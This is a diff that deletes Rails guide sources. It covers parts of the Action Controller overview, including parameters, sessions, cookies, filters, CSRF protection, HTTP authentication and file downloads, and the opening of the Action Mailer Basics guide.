-Note that the +params+ hash is actually an instance of +HashWithIndifferentAccess+ from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys.
-
-h4. JSON/XML parameters
-
-If you're writing a web service application, you might find yourself more comfortable on accepting parameters in JSON or XML format. Rails will automatically convert your parameters into +params+ hash, which you'll be able to access like you would normally do with form data.
-
-So for example, if you are sending this JSON parameter:
-
-<pre>
-{ "company": { "name": "acme", "address": "123 Carrot Street" } }
-</pre>
-
-You'll get <tt>params[:company]</tt> as <tt>{ :name => "acme", "address" => "123 Carrot Street" }</tt>.
-
-Also, if you've turned on +config.wrap_parameters+ in your initializer or calling +wrap_parameters+ in your controller, you can safely omit the root element in the JSON/XML parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as:
-
-<pre>
-{ "name": "acme", "address": "123 Carrot Street" }
-</pre>
-
-And assume that you're sending the data to +CompaniesController+, it would then be wrapped in +:company+ key like this:
-
-<ruby>
-{ :name => "acme", :address => "123 Carrot Street", :company => { :name => "acme", :address => "123 Carrot Street" }}
-</ruby>
-
-You can customize the name of the key or specific parameters you want to wrap by consulting the "API documentation":http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html
-
-h4. Routing Parameters
-
-The +params+ hash will always contain the +:controller+ and +:action+ keys, but you should use the methods +controller_name+ and +action_name+ instead to access these values. Any other parameters defined by the routing, such as +:id+ will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the +:status+ parameter in a "pretty" URL:
-
-<ruby>
-match '/clients/:status' => 'clients#index', :foo => "bar"
-</ruby>
-
-In this case, when a user opens the URL +/clients/active+, +params[:status]+ will be set to "active". When this route is used, +params[:foo]+ will also be set to "bar" just like it was passed in the query string. In the same way +params[:action]+ will contain "index".
-
-h4. +default_url_options+
-
-You can set global default parameters that will be used when generating URLs with +default_url_options+. To do this, define a method with that name in your controller:
-
-<ruby>
-class ApplicationController < ActionController::Base
-  # The options parameter is the hash passed in to 'url_for'
-  def default_url_options(options)
-    {:locale => I18n.locale}
-  end
-end
-</ruby>
-
-These options will be used as a starting-point when generating URLs, so it's possible they'll be overridden by +url_for+. Because this method is defined in the controller, you can define it on +ApplicationController+ so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.
-
-
-h3. Session
-
-Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
-
-* ActionDispatch::Session::CookieStore - Stores everything on the client.
-* ActiveRecord::SessionStore - Stores the data in a database using Active Record.
-* ActionDispatch::Session::CacheStore - Stores the data in the Rails cache.
-* ActionDispatch::Session::MemCacheStore - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead).
-
-All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
-
-For most stores this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited).
-
-The CookieStore can store around 4kB of data -- much less than the others -- but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
-
-If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.
-
-Read more about session storage in the "Security Guide":security.html.
-
-If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file:
-
-<ruby>
-# Use the database for sessions instead of the cookie-based default,
-# which shouldn't be used to store highly confidential information
-# (create the session table with "script/rails g session_migration")
-# YourApp::Application.config.session_store :active_record_store
-</ruby>
-
-Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in +config/initializers/session_store.rb+:
-
-<ruby>
-# Be sure to restart your server when you modify this file.
-
-YourApp::Application.config.session_store :cookie_store, :key => '_your_app_session'
-</ruby>
-
-You can also pass a +:domain+ key and specify the domain name for the cookie:
-
-<ruby>
-# Be sure to restart your server when you modify this file.
-
-YourApp::Application.config.session_store :cookie_store, :key => '_your_app_session', :domain => ".example.com"
-</ruby>
-
-Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in +config/initializers/secret_token.rb+
-
-<ruby>
-# Be sure to restart your server when you modify this file.
-
-# Your secret key for verifying the integrity of signed cookies.
-# If you change this key, all old signed cookies will become invalid!
-# Make sure the secret is at least 30 characters and all random,
-# no regular words or you'll be exposed to dictionary attacks.
-YourApp::Application.config.secret_token = '49d3f3de9ed86c74b94ad6bd0...'
-</ruby>
-
-NOTE: Changing the secret when using the +CookieStore+ will invalidate all existing sessions.
-
-h4. Accessing the Session
-
-In your controller you can access the session through the +session+ instance method.
-
-NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
-
-Session values are stored using key/value pairs like a hash:
-
-<ruby>
-class ApplicationController < ActionController::Base
-
-  private
-
-  # Finds the User with the ID stored in the session with the key
-  # :current_user_id This is a common way to handle user login in
-  # a Rails application; logging in sets the session value and
-  # logging out removes it.
-  def current_user
-    @_current_user ||= session[:current_user_id] &&
-      User.find_by_id(session[:current_user_id])
-  end
-end
-</ruby>
-
-To store something in the session, just assign it to the key like a hash:
-
-<ruby>
-class LoginsController < ApplicationController
-  # "Create" a login, aka "log the user in"
-  def create
-    if user = User.authenticate(params[:username], params[:password])
-      # Save the user ID in the session so it can be used in
-      # subsequent requests
-      session[:current_user_id] = user.id
-      redirect_to root_url
-    end
-  end
-end
-</ruby>
-
-To remove something from the session, assign that key to be +nil+:
-
-<ruby>
-class LoginsController < ApplicationController
-  # "Delete" a login, aka "log the user out"
-  def destroy
-    # Remove the user id from the session
-    @_current_user = session[:current_user_id] = nil
-    redirect_to root_url
-  end
-end
-</ruby>
-
-To reset the entire session, use +reset_session+.
-
-h4. The Flash
-
-The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
-
-<ruby>
-class LoginsController < ApplicationController
-  def destroy
-    session[:current_user_id] = nil
-    flash[:notice] = "You have successfully logged out"
-    redirect_to root_url
-  end
-end
-</ruby>
-
-Note it is also possible to assign a flash message as part of the redirection.
-
-<ruby>
-redirect_to root_url, :notice => "You have successfully logged out"
-</ruby>
-
-
-The +destroy+ action redirects to the application's +root_url+, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:
-
-<ruby>
-<html>
-  <!-- <head/> -->
-  <body>
-    <% if flash[:notice] %>
-      <p class="notice"><%= flash[:notice] %></p>
-    <% end %>
-    <% if flash[:error] %>
-      <p class="error"><%= flash[:error] %></p>
-    <% end %>
-    <!-- more content -->
-  </body>
-</html>
-</ruby>
-
-This way, if an action sets an error or a notice message, the layout will display it automatically.
-
-If you want a flash value to be carried over to another request, use the +keep+ method:
-
-<ruby>
-class MainController < ApplicationController
-  # Let's say this action corresponds to root_url, but you want
-  # all requests here to be redirected to UsersController#index.
-  # If an action sets the flash and redirects here, the values
-  # would normally be lost when another redirect happens, but you
-  # can use 'keep' to make it persist for another request.
-  def index
-    # Will persist all flash values.
-    flash.keep
-
-    # You can also use a key to keep only some kind of value.
-    # flash.keep(:notice)
-    redirect_to users_url
-  end
-end
-</ruby>
-
-h5. +flash.now+
-
-By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the +create+ action fails to save a resource and you render the +new+ template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use +flash.now+ in the same way you use the normal +flash+:
-
-<ruby>
-class ClientsController < ApplicationController
-  def create
-    @client = Client.new(params[:client])
-    if @client.save
-      # ...
-    else
-      flash.now[:error] = "Could not save client"
-      render :action => "new"
-    end
-  end
-end
-</ruby>
-
-h3. Cookies
-
-Your application can store small amounts of data on the client -- called cookies -- that will be persisted across requests and even sessions. Rails provides easy access to cookies via the +cookies+ method, which -- much like the +session+ -- works like a hash:
-
-<ruby>
-class CommentsController < ApplicationController
-  def new
-    # Auto-fill the commenter's name if it has been stored in a cookie
-    @comment = Comment.new(:name => cookies[:commenter_name])
-  end
-
-  def create
-    @comment = Comment.new(params[:comment])
-    if @comment.save
-      flash[:notice] = "Thanks for your comment!"
-      if params[:remember_name]
-        # Remember the commenter's name.
-        cookies[:commenter_name] = @comment.name
-      else
-        # Delete cookie for the commenter's name cookie, if any.
-        cookies.delete(:commenter_name)
-      end
-      redirect_to @comment.article
-    else
-      render :action => "new"
-    end
-  end
-end
-</ruby>
-
-Note that while for session values you set the key to +nil+, to delete a cookie value you should use +cookies.delete(:key)+.
-
-h3. Rendering xml and json data
-
-ActionController makes it extremely easy to render +xml+ or +json+ data. If you generate a controller using scaffold then your controller would look something like this.
-
-<ruby>
-class UsersController < ApplicationController
-  def index
-    @users = User.all
-    respond_to do |format|
-      format.html # index.html.erb
-      format.xml  { render :xml => @users}
-      format.json { render :json => @users}
-    end
-  end
-end
-</ruby>
-
-Notice that in the above case code is <tt>render :xml => @users</tt> and not <tt>render :xml => @users.to_xml</tt>. That is because if the input is not string then rails automatically invokes +to_xml+ .
-
-
-h3. Filters
-
-Filters are methods that are run before, after or "around" a controller action.
-
-Filters are inherited, so if you set a filter on +ApplicationController+, it will be run on every controller in your application.
-
-Before filters may halt the request cycle. A common before filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
-
-<ruby>
-class ApplicationController < ActionController::Base
-  before_filter :require_login
-
-  private
-
-  def require_login
-    unless logged_in?
-      flash[:error] = "You must be logged in to access this section"
-      redirect_to new_login_url # halts request cycle
-    end
-  end
-
-  # The logged_in? method simply returns true if the user is logged
-  # in and false otherwise. It does this by "booleanizing" the
-  # current_user method we created previously using a double ! operator.
-  # Note that this is not common in Ruby and is discouraged unless you
-  # really mean to convert something into true or false.
-  def logged_in?
-    !!current_user
-  end
-end
-</ruby>
-
-The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter they are also cancelled.
-
-In this example the filter is added to +ApplicationController+ and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with +skip_before_filter+:
-
-<ruby>
-class LoginsController < ApplicationController
-  skip_before_filter :require_login, :only => [:new, :create]
-end
-</ruby>
-
-Now, the +LoginsController+'s +new+ and +create+ actions will work as before without requiring the user to be logged in. The +:only+ option is used to only skip this filter for these actions, and there is also an +:except+ option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
-
-h4. After Filters and Around Filters
-
-In addition to before filters, you can also run filters after an action has been executed, or both before and after.
-
-After filters are similar to before filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, after filters cannot stop the action from running.
-
-Around filters are responsible for running their associated actions by yielding, similar to how Rack middlewares work.
-
-For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction:
-
-<ruby>
-class ChangesController < ActionController::Base
-  around_filter :wrap_in_transaction, :only => :show
-
-  private
-
-  def wrap_in_transaction
-    ActiveRecord::Base.transaction do
-      begin
-        yield
-      ensure
-        raise ActiveRecord::Rollback
-      end
-    end
-  end
-end
-</ruby>
-
-Note that an around filter wraps also rendering. In particular, if in the example above the view itself reads from the database via a scope or whatever, it will do so within the transaction and thus present the data to preview.
-
-They can choose not to yield and build the response themselves, in which case the action is not run.
-
-h4. Other Ways to Use Filters
-
-While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.
-
-The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the +require_login+ filter from above could be rewritten to use a block:
-
-<ruby>
-class ApplicationController < ActionController::Base
-  before_filter do |controller|
-    redirect_to new_login_url unless controller.send(:logged_in?)
-  end
-end
-</ruby>
-
-Note that the filter in this case uses +send+ because the +logged_in?+ method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
-
-The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
-
-<ruby>
-class ApplicationController < ActionController::Base
-  before_filter LoginFilter
-end
-
-class LoginFilter
-  def self.filter(controller)
-    unless controller.send(:logged_in?)
-      controller.flash[:error] = "You must be logged in"
-      controller.redirect_to controller.new_login_url
-    end
-  end
-end
-</ruby>
-
-Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method +filter+ which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same +filter+ method, which will get run in the same way. The method must +yield+ to execute the action. Alternatively, it can have both a +before+ and an +after+ method that are run before and after the action.
-
-h3. Request Forgery Protection
-
-Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.
-
-The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.
-
-The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
-
-If you generate a form like this:
-
-<ruby>
-<%= form_for @user do |f| %>
-  <%= f.text_field :username %>
-  <%= f.text_field :password %>
-<% end %>
-</ruby>
-
-You will see how the token gets added as a hidden field:
-
-<html>
-<form accept-charset="UTF-8" action="/users/1" method="post">
-<input type="hidden"
-       value="67250ab105eb5ad10851c00a5621854a23af5489"
-       name="authenticity_token"/>
-<!-- fields -->
-</form>
-</html>
-
-Rails adds this token to every form that's generated using the "form helpers":form_helpers.html, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method +form_authenticity_token+:
-
-The +form_authenticity_token+ generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.
-
-The "Security Guide":security.html has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
-
-h3. The Request and Response Objects
-
-In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The +request+ method contains an instance of +AbstractRequest+ and the +response+ method returns a response object representing what is going to be sent back to the client.
-
-h4. The +request+ Object
-
-The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionDispatch/Request.html. Among the properties that you can access on this object are:
-
-|_.Property of +request+|_.Purpose|
-|host|The hostname used for this request.|
-|domain(n=2)|The hostname's first +n+ segments, starting from the right (the TLD).|
-|format|The content type requested by the client.|
-|method|The HTTP method used for the request.|
-|get?, post?, put?, delete?, head?|Returns true if the HTTP method is GET/POST/PUT/DELETE/HEAD.|
-|headers|Returns a hash containing the headers associated with the request.|
-|port|The port number (integer) used for the request.|
-|protocol|Returns a string containing the protocol used plus "://", for example "http://".|
-|query_string|The query string part of the URL, i.e., everything after "?".|
-|remote_ip|The IP address of the client.|
-|url|The entire URL used for the request.|
-
-h5. +path_parameters+, +query_parameters+, and +request_parameters+
-
-Rails collects all of the parameters sent along with the request in the +params+ hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The +query_parameters+ hash contains parameters that were sent as part of the query string while the +request_parameters+ hash contains parameters sent as part of the post body. The +path_parameters+ hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
-
-h4. The +response+ Object
-
-The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
-
-|_.Property of +response+|_.Purpose|
-|body|This is the string of data being sent back to the client. This is most often HTML.|
-|status|The HTTP status code for the response, like 200 for a successful request or 404 for file not found.|
-|location|The URL the client is being redirected to, if any.|
-|content_type|The content type of the response.|
-|charset|The character set being used for the response. Default is "utf-8".|
-|headers|Headers used for the response.|
-
-h5. Setting Custom Headers
-
-If you want to set custom headers for a response then +response.headers+ is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to +response.headers+ this way:
-
-<ruby>
-response.headers["Content-Type"] = "application/pdf"
-</ruby>
-
-h3. HTTP Authentications
-
-Rails comes with two built-in HTTP authentication mechanisms:
-
-* Basic Authentication
-* Digest Authentication
-
-h4. HTTP Basic Authentication
-
-HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, +http_basic_authenticate_with+.
-
-<ruby>
-class AdminController < ApplicationController
-  http_basic_authenticate_with :name => "humbaba", :password => "5baa61e4"
-end
-</ruby>
-
-With this in place, you can create namespaced controllers that inherit from +AdminController+. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
-
-h4. HTTP Digest Authentication
-
-HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, +authenticate_or_request_with_http_digest+.
-
-<ruby>
-class AdminController < ApplicationController
-  USERS = { "lifo" => "world" }
-
-  before_filter :authenticate
-
-  private
-
-  def authenticate
-    authenticate_or_request_with_http_digest do |username|
-      USERS[username]
-    end
-  end
-end
-</ruby>
-
-As seen in the example above, the +authenticate_or_request_with_http_digest+ block takes only one argument - the username. And the block returns the password. Returning +false+ or +nil+ from the +authenticate_or_request_with_http_digest+ will cause authentication failure.
-
-h3. Streaming and File Downloads
-
-Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the +send_data+ and the +send_file+ methods, which will both stream data to the client. +send_file+ is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.
-
-To stream data to the client, use +send_data+:
-
-<ruby>
-require "prawn"
-class ClientsController < ApplicationController
-  # Generates a PDF document with information on the client and
-  # returns it. The user will get the PDF as a file download.
-  def download_pdf
-    client = Client.find(params[:id])
-    send_data generate_pdf(client),
-              :filename => "#{client.name}.pdf",
-              :type => "application/pdf"
-  end
-
-  private
-
-  def generate_pdf(client)
-    Prawn::Document.new do
-      text client.name, :align => :center
-      text "Address: #{client.address}"
-      text "Email: #{client.email}"
-    end.render
-  end
-end
-</ruby>
-
-The +download_pdf+ action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the +:disposition+ option to "inline". The opposite and default value for this option is "attachment".
-
-h4. Sending Files
-
-If you want to send a file that already exists on disk, use the +send_file+ method.
-
-<ruby>
-class ClientsController < ApplicationController
-  # Stream a file that has already been generated and stored on disk.
-  def download_pdf
-    client = Client.find(params[:id])
-    send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
-              :filename => "#{client.name}.pdf",
-              :type => "application/pdf")
-  end
-end
-</ruby>
-
-This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option.
-
-If +:type+ is not specified, it will be guessed from the file extension specified in +:filename+. If the content type is not registered for the extension, <tt>application/octet-stream</tt> will be used.
-
-WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
-
-TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
-
-h4. RESTful Downloads
-
-While +send_data+ works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the +show+ action, without any streaming:
-
-<ruby>
-class ClientsController < ApplicationController
-  # The user can request to receive this resource as HTML or PDF.
-  def show
-    @client = Client.find(params[:id])
-
-    respond_to do |format|
-      format.html
-      format.pdf { render :pdf => generate_pdf(@client) }
-    end
-  end
-end
-</ruby>
-
-In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file +config/initializers/mime_types.rb+:
-
-<ruby>
-Mime::Type.register "application/pdf", :pdf
-</ruby>
-
-NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
-
-Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
-
-<shell>
-GET /clients/1.pdf
-</shell>
-
-h3. Parameter Filtering
-
-Rails keeps a log file for each environment in the +log+ folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. You can filter certain request parameters from your log files by appending them to <tt>config.filter_parameters</tt> in the application configuration. These parameters will be marked [FILTERED] in the log.
-
-<ruby>
-config.filter_parameters << :password
-</ruby>
-
-h3. Rescue
-
-Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the +ActiveRecord::RecordNotFound+ exception.
-
-Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
-
-h4. The Default 500 and 404 Templates
-
-By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the +public+ folder, in +404.html+ and +500.html+ respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
-
-h4. +rescue_from+
-
-If you want to do something a bit more elaborate when catching errors, you can use +rescue_from+, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.
-
-When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a +Proc+ object passed to the +:with+ option. You can also use a block directly instead of an explicit +Proc+ object.
-
-Here's how you can use +rescue_from+ to intercept all +ActiveRecord::RecordNotFound+ errors and do something with them.
-
-<ruby>
-class ApplicationController < ActionController::Base
-  rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found
-
-  private
-
-  def record_not_found
-    render :text => "404 Not Found", :status => 404
-  end
-end
-</ruby>
-
-Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
-
-<ruby>
-class ApplicationController < ActionController::Base
-  rescue_from User::NotAuthorized, :with => :user_not_authorized
-
-  private
-
-  def user_not_authorized
-    flash[:error] = "You don't have access to this section."
-    redirect_to :back
-  end
-end
-
-class ClientsController < ApplicationController
-  # Check that the user has the right authorization to access clients.
-  before_filter :check_authorization
-
-  # Note how the actions don't have to worry about all the auth stuff.
-  def edit
-    @client = Client.find(params[:id])
-  end
-
-  private
-
-  # If the user is not authorized, just throw the exception.
-  def check_authorization
-    raise User::NotAuthorized unless current_user.admin?
-  end
-end
-</ruby>
-
-NOTE: Certain exceptions are only rescuable from the +ApplicationController+ class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's "article":http://m.onkey.org/2008/7/20/rescue-from-dispatching on the subject for more information.
-
-h3. Force HTTPS protocol
-
-Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that:
-
-<ruby>
-class DinnerController
-  force_ssl
-end
-</ruby>
-
-Just like the filter, you could also passing +:only+ and +:except+ to enforce the secure connection only to specific actions.
-
-<ruby>
-class DinnerController
-  force_ssl :only => :cheeseburger
-  # or
-  force_ssl :except => :cheeseburger
-end
-</ruby>
-
-Please note that if you found yourself adding +force_ssl+ to many controllers, you may found yourself wanting to force the whole application to use HTTPS instead. In that case, you can set the +config.force_ssl+ in your environment file.
diff --git a/railties/guides/source/action_mailer_basics.textile b/railties/guides/source/action_mailer_basics.textile
deleted file mode 100644
index ad5b848d2c..0000000000
--- a/railties/guides/source/action_mailer_basics.textile
+++ /dev/null
@@ -1,523 +0,0 @@
-h2. Action Mailer Basics
-
-This guide should provide you with all you need to get started in sending and receiving emails from and to your application, and many internals of Action Mailer. It also covers how to test your mailers.
-
-endprologue.
-
-WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.
-
-h3. Introduction
-
-Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+.
-
-h3. Sending Emails
-
-This section will provide a step-by-step guide to creating a mailer and its views.
-
-h4. Walkthrough to Generating a Mailer
-
-h5. Create the Mailer
-
-<shell>
-$ rails generate mailer UserMailer
-create  app/mailers/user_mailer.rb
-invoke  erb
-create    app/views/user_mailer
-invoke  test_unit
-create    test/functional/user_mailer_test.rb
-</shell>
-
-So we got the mailer, the views, and the tests.
-
-h5. Edit the Mailer
-
-+app/mailers/user_mailer.rb+ contains an empty mailer:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  default :from => "from@example.com"
-end
-</ruby>
-
-Let's add a method called +welcome_email+, that will send an email to the user's registered email address:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  default :from => "notifications@example.com"
-
-  def welcome_email(user)
-    @user = user
-    @url  = "http://example.com/login"
-    mail(:to => user.email, :subject => "Welcome to My Awesome Site")
-  end
-end
-</ruby>
-
-Here is a quick explanation of the items presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of Action Mailer user-settable attributes section.
-
-* <tt>default Hash</tt> - This is a hash of default values for any email you send, in this case we are setting the <tt>:from</tt> header to a value for all messages in this class, this can be overridden on a per email basis
-* +mail+ - The actual email message, we are passing the <tt>:to</tt> and <tt>:subject</tt> headers in.
-
-Just like controllers, any instance variables we define in the method become available for use in the views.
-
-h5. Create a Mailer View
-
-Create a file called +welcome_email.html.erb+ in +app/views/user_mailer/+. This will be the template used for the email, formatted in HTML:
-
-<erb>
-<!DOCTYPE html>
-<html>
-  <head>
-    <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
-  </head>
-  <body>
-    <h1>Welcome to example.com, <%= @user.name %></h1>
-    <p>
-      You have successfully signed up to example.com,
-      your username is: <%= @user.login %>.<br/>
-    </p>
-    <p>
-      To login to the site, just follow this link: <%= @url %>.
-    </p>
-    <p>Thanks for joining and have a great day!</p>
-  </body>
-</html>
-</erb>
-
-It is also a good idea to make a text part for this email, to do this, create a file called +welcome_email.text.erb+ in +app/views/user_mailer/+:
-
-<erb>
-Welcome to example.com, <%= @user.name %>
-===============================================
-
-You have successfully signed up to example.com,
-your username is: <%= @user.login %>.
-
-To login to the site, just follow this link: <%= @url %>.
-
-Thanks for joining and have a great day!
-</erb>
-
-When you call the +mail+ method now, Action Mailer will detect the two templates (text and HTML) and automatically generate a <tt>multipart/alternative</tt> email.
-
-h5. Wire It Up So That the System Sends the Email When a User Signs Up
-
-There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model. However, in Rails 3, mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the Email protocols instead. Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created.
-
-Setting this up is painfully simple.
-
-First off, we need to create a simple +User+ scaffold:
-
-<shell>
-$ rails generate scaffold user name:string email:string login:string
-$ rake db:migrate
-</shell>
-
-Now that we have a user model to play with, we will just edit the +app/controllers/users_controller.rb+ make it instruct the UserMailer to deliver an email to the newly created user by editing the create action and inserting a call to <tt>UserMailer.welcome_email</tt> right after the user is successfully saved:
-
-<ruby>
-class UsersController < ApplicationController
-  # POST /users
-  # POST /users.json
-  def create
-    @user = User.new(params[:user])
-
-    respond_to do |format|
-      if @user.save
-        # Tell the UserMailer to send a welcome Email after save
-        UserMailer.welcome_email(@user).deliver
-
-        format.html { redirect_to(@user, :notice => 'User was successfully created.') }
-        format.json { render :json => @user, :status => :created, :location => @user }
-      else
-        format.html { render :action => "new" }
-        format.json { render :json => @user.errors, :status => :unprocessable_entity }
-      end
-    end
-  end
-end
-</ruby>
-
-This provides a much simpler implementation that does not require the registering of observers and the like.
-
-The method +welcome_email+ returns a <tt>Mail::Message</tt> object which can then just be told +deliver+ to send itself out.
-
-NOTE: In previous versions of Rails, you would call +deliver_welcome_email+ or +create_welcome_email+. This has been deprecated in Rails 3.0 in favour of just calling the method name itself.
-
-WARNING: Sending out an email should only take a fraction of a second, but if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like Delayed Job.
-
-h4. Auto encoding header values
-
-Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies.
-
-If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and Action Mailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII.
-
-For more complex examples such as defining alternate character sets or self encoding text first, please refer to the Mail library.
-
-h4. Complete List of Action Mailer Methods
-
